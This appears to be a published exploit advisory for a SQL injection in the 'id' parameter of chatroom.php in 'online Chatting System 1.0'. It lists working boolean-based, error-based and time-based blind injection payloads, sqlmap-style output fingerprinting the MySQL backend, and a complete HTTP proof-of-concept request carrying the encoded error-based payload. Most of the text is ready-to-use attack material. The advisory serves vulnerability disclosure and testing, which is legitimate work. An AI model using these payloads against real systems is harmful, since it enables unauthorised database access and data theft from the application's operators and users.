47 lines
No EOL
2.3 KiB
Text
47 lines
No EOL
2.3 KiB
Text
# Exploit Title: online Chatting System 1.0 - 'id' SQL Injection
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# Google Dork: N/A
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# Date: 2020-05-17
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# Exploit Author: BKpatron
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# Vendor Homepage: https://www.sourcecodester.com/php/14224/online-chatting-system-using-phpmysql.html
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# Software Link: https://www.sourcecodester.com/sites/default/files/download/donbermoy/onlinechatting.zip
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# Version: v1.0
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# Tested on: Win 10
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# CVE: N/A
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# my website: bkpatron.com
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# Discription:
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The online Chatting System v1.0 application is vulnerable to SQL injection via the 'id' parameter on the chatroom.php page.
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# vulnerable file : chatroom.php
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http://localhost/chat_system/user/chatroom.php?id=5
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Parameter: id (GET)
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Type: boolean-based blind
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Title: AND boolean-based blind - WHERE or HAVING clause
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Payload: id=5' AND 2674=2674 AND 'NdtA'='NdtA
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Type: error-based
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Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
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Payload: id=5' AND (SELECT 8144 FROM(SELECT COUNT(*),CONCAT(0x7171717a71,(SELECT (ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'OIwS'='OIwS
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Type: time-based blind
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Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
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Payload: id=5' AND 4648=BENCHMARK(5000000,MD5(0x67644874)) AND 'oSJd'='oSJd
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---
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[INFO] the back-end DBMS is MySQL
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web application technology: Apache 2.4.39, PHP 7.2.18
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back-end DBMS: MySQL >= 5.0
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# Proof of Concept:
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http://localhost/chat_system/user/chatroom.php?id=5
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GET /chat_system/user/chatroom.php?id=5%27%20AND%20(SELECT%208144%20FROM(SELECT%20COUNT(*),CONCAT(0x7171717a71,(SELECT%20(ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27OIwS%27=%27OIwS HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Cookie: PHPSESSID=mstb1630gvh0f97me7qdh5f7ke
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Connection: keep-alive
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Upgrade-Insecure-Requests: 1
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Cache-Control: max-age=0
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id=5%27%20AND%20(SELECT%208144%20FROM(SELECT%20COUNT(*),CONCAT(0x7171717a71,(SELECT%20(ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27OIwS%27=%27OIwS |